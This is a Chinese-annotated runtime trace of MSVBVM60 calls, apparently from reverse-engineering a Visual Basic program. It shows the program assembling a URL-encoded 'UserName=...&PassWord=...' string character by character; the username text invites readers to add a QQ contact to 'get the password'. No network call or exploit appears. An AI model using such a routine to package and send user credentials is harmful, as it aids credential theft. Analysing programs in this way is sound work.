__vbaI2Abs返回值: 0x00000036
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"6")
Var3=0x0012F718 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ204982")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:24)
__vbaI4Var返回值: 0x00000018(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x00000018
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"8")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"8")
__vbaStrVarVal返回值: 0x0017166C (unicode字符串"8")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x0017166C
rtcAnsiValueBstr返回值: 0x00000038 ( '8' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000038
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"8")
Var3=0x0012F718 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ20498268")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:25)
__vbaI4Var返回值: 0x00000019(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x00000019
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"5")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"5")
__vbaStrVarVal返回值: 0x00171694 (unicode字符串"5")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171694
rtcAnsiValueBstr返回值: 0x00000035 ( '5' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000035
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"5")
Var3=0x0012F718 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ20498268")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ204982685")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:26)
__vbaI4Var返回值: 0x0000001A(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x0000001A
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"6")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"6")
__vbaStrVarVal返回值: 0x0017166C (unicode字符串"6")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x0017166C
rtcAnsiValueBstr返回值: 0x00000036 ( '6' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000036
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"6")
Var3=0x0012F718 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ204982685")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:27)
__vbaI4Var返回值: 0x0000001B(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x0000001B
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"&")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"&")
__vbaStrVarVal返回值: 0x00171694 (unicode字符串"&")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171694
rtcAnsiValueBstr返回值: 0x00000026 ( '&' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000026
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"&")
Var3=0x0012F718 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856&")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:28)
__vbaI4Var返回值: 0x0000001C(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x0000001C
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"P")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"P")
__vbaStrVarVal返回值: 0x0017166C (unicode字符串"P")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x0017166C
rtcAnsiValueBstr返回值: 0x00000050 ( 'P' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000050
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"P")
Var3=0x0012F718 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856&")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856&P")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:29)
__vbaI4Var返回值: 0x0000001D(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x0000001D
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"a")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"a")
__vbaStrVarVal返回值: 0x00171694 (unicode字符串"a")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171694
rtcAnsiValueBstr返回值: 0x00000061 ( 'a' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000061
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"a")
Var3=0x0012F718 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856&P")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856&Pa")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:30)
__vbaI4Var返回值: 0x0000001E(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x0000001E
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"s")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"s")
__vbaStrVarVal返回值: 0x0017166C (unicode字符串"s")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x0017166C
rtcAnsiValueBstr返回值: 0x00000073 ( 's' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000073
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"s")
Var3=0x0012F718 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856&Pa")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856&Pas")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:31)
__vbaI4Var返回值: 0x0000001F(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x0000001F
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"s")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"s")
__vbaStrVarVal返回值: 0x00171694 (unicode字符串"s")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171694
rtcAnsiValueBstr返回值: 0x00000073 ( 's' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000073
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"s")
Var3=0x0012F718 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856&Pas")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856&Pass")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:32)
__vbaI4Var返回值: 0x00000020(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x00000020
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"W")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"W")
__vbaStrVarVal返回值: 0x0017166C (unicode字符串"W")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x0017166C
rtcAnsiValueBstr返回值: 0x00000057 ( 'W' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000057
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"W")
Var3=0x0012F718 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856&Pass")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856&PassW")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:33)
__vbaI4Var返回值: 0x00000021(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x00000021
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"o")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"o")
__vbaStrVarVal返回值: 0x00171694 (unicode字符串"o")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171694
rtcAnsiValueBstr返回值: 0x0000006F ( 'o' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x0000006F
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"o")
Var3=0x0012F718 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856&PassW")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856&PassWo")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:34)
__vbaI4Var返回值: 0x00000022(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x00000022
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"r")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"r")
__vbaStrVarVal返回值: 0x0017166C (unicode字符串"r")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x0017166C
rtcAnsiValueBstr返回值: 0x00000072 ( 'r' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000072
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"r")
Var3=0x0012F718 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856&PassWo")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856&PassWor")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:35)
__vbaI4Var返回值: 0x00000023(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x00000023
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"d")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"d")
__vbaStrVarVal返回值: 0x00171694 (unicode字符串"d")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171694
rtcAnsiValueBstr返回值: 0x00000064 ( 'd' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000064
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"d")
Var3=0x0012F718 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856&PassWor")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856&PassWord")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:36)
__vbaI4Var返回值: 0x00000024(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x00000024
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"=")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"=")
__vbaStrVarVal返回值: 0x0017166C (unicode字符串"=")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x0017166C
rtcAnsiValueBstr返回值: 0x0000003D ( '=' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x0000003D
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"=")
Var3=0x0012F718 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856&PassWord")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856&PassWord=")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:37)
__vbaI4Var返回值: 0x00000025(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x00000025
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"1")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"1")
__vbaStrVarVal返回值: 0x00171694 (unicode字符串"1")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171694
rtcAnsiValueBstr返回值: 0x00000031 ( '1' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000031
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"1")
Var3=0x0012F718 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856&PassWord=")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856&PassWord=1")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:38)
__vbaI4Var返回值: 0x00000026(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x00000026
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"0")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"0")
__vbaStrVarVal返回值: 0x0017166C (unicode字符串"0")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x0017166C
rtcAnsiValueBstr返回值: 0x00000030 ( '0' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000030
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"0")
Var3=0x0012F718 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856&PassWord=1")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856&PassWord=10")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:39)
__vbaI4Var返回值: 0x00000027(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x00000027
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"2")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"2")
__vbaStrVarVal返回值: 0x00171694 (unicode字符串"2")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171694
rtcAnsiValueBstr返回值: 0x00000032 ( '2' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000032
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"2")
Var3=0x0012F718 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856&PassWord=10")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856&PassWord=102")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:40)
__vbaI4Var返回值: 0x00000028(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x00000028
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"4")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"4")
__vbaStrVarVal返回值: 0x0017166C (unicode字符串"4")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x0017166C
rtcAnsiValueBstr返回值: 0x00000034 ( '4' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000034
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"4")
Var3=0x0012F718 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856&PassWord=102")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856&PassWord=1024")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:41)
__vbaI4Var返回值: 0x00000029(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x00000029
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"9")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"9")
__vbaStrVarVal返回值: 0x00171694 (unicode字符串"9")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171694
rtcAnsiValueBstr返回值: 0x00000039 ( '9' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000039
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"9")
Var3=0x0012F718 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856&PassWord=1024")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%BB%F1%C8%A1%C3%DC%C2%EB%BC%D3QQ2049826856&PassWord=10249")
